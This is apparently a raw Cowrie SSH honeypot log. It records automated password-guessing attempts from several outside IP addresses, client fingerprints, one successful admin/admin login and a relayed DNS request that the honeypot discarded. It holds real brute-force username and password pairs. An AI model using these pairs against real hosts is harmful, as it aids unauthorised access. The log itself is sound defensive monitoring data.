{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:19.929045Z","src_ip":"109.237.96.109","session":"49af2bcb507e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angel","message":"login attempt [root/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:20.212038Z","src_ip":"109.237.96.109","session":"49af2bcb507e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38016,"dst_ip":"159.203.135.109","dst_port":22,"session":"e284af614b91","protocol":"ssh","message":"New connection: 103.153.68.219:38016 (159.203.135.109:22) [session: e284af614b91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:20.998619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:21.009501Z","src_ip":"103.153.68.219","session":"e284af614b91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:21.255892Z","src_ip":"103.153.68.219","session":"e284af614b91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:21.309775Z","src_ip":"109.237.96.109","session":"49af2bcb507e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1a2a3","message":"login attempt [root/a1a2a3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:21.995178Z","src_ip":"103.153.68.219","session":"e284af614b91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:23.245926Z","src_ip":"103.153.68.219","session":"e284af614b91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57928,"dst_ip":"159.203.135.109","dst_port":22,"session":"38823e6be28d","protocol":"ssh","message":"New connection: 83.168.110.85:57928 (159.203.135.109:22) [session: 38823e6be28d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:24.090681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:24.095929Z","src_ip":"83.168.110.85","session":"38823e6be28d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:24.217563Z","src_ip":"83.168.110.85","session":"38823e6be28d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:24.768093Z","src_ip":"83.168.110.85","session":"38823e6be28d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:25.893607Z","src_ip":"83.168.110.85","session":"38823e6be28d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":42326,"dst_ip":"159.203.135.109","dst_port":22,"session":"223954d08fad","protocol":"ssh","message":"New connection: 83.168.110.85:42326 (159.203.135.109:22) [session: 223954d08fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:34.357401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:34.362289Z","src_ip":"83.168.110.85","session":"223954d08fad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:34.482809Z","src_ip":"83.168.110.85","session":"223954d08fad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:34.852675Z","src_ip":"83.168.110.85","session":"223954d08fad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:35.977105Z","src_ip":"83.168.110.85","session":"223954d08fad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":39982,"dst_ip":"159.203.135.109","dst_port":22,"session":"72b69dbb4f18","protocol":"ssh","message":"New connection: 103.77.242.62:39982 (159.203.135.109:22) [session: 72b69dbb4f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:41.383269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:41.387824Z","src_ip":"103.77.242.62","session":"72b69dbb4f18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:41.632171Z","src_ip":"103.77.242.62","session":"72b69dbb4f18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"030303","message":"login attempt [root/030303] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:42.364231Z","src_ip":"103.77.242.62","session":"72b69dbb4f18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":60036,"dst_ip":"10.17.0.5","dst_port":22,"session":"33106399a2bc","protocol":"ssh","message":"New connection: 87.251.64.176:60036 (10.17.0.5:22) [session: 33106399a2bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:43.587759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:43.591440Z","src_ip":"87.251.64.176","session":"33106399a2bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:43.610722Z","src_ip":"103.77.242.62","session":"72b69dbb4f18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:43.726338Z","src_ip":"87.251.64.176","session":"33106399a2bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":48750,"dst_ip":"10.17.0.5","dst_port":22,"session":"b52e55ab66cc","protocol":"ssh","message":"New connection: 77.94.47.83:48750 (10.17.0.5:22) [session: b52e55ab66cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:43.845196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:43.850390Z","src_ip":"77.94.47.83","session":"b52e55ab66cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:43.971952Z","src_ip":"77.94.47.83","session":"b52e55ab66cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyu123","message":"login attempt [root/qwertyu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:44.332625Z","src_ip":"77.94.47.83","session":"b52e55ab66cc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:44.587898Z","src_ip":"87.251.64.176","session":"33106399a2bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:44.700745Z","session":"33106399a2bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43636,"dst_ip":"159.203.135.109","dst_port":22,"session":"74eac4ae5f11","protocol":"ssh","message":"New connection: 83.168.110.85:43636 (159.203.135.109:22) [session: 74eac4ae5f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:44.797956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:44.802915Z","src_ip":"83.168.110.85","session":"74eac4ae5f11","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:44.848244Z","src_ip":"87.251.64.176","session":"33106399a2bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:44.924654Z","src_ip":"83.168.110.85","session":"74eac4ae5f11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:44.960581Z","src_ip":"87.251.64.176","session":"33106399a2bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:45.296597Z","src_ip":"83.168.110.85","session":"74eac4ae5f11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:45.455286Z","src_ip":"77.94.47.83","session":"b52e55ab66cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:46.424112Z","src_ip":"83.168.110.85","session":"74eac4ae5f11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":56712,"dst_ip":"159.203.135.109","dst_port":22,"session":"dabada16e184","protocol":"ssh","message":"New connection: 83.168.110.85:56712 (159.203.135.109:22) [session: dabada16e184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:55.305866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:52:55.310859Z","src_ip":"83.168.110.85","session":"dabada16e184","protocol":"ssh"}
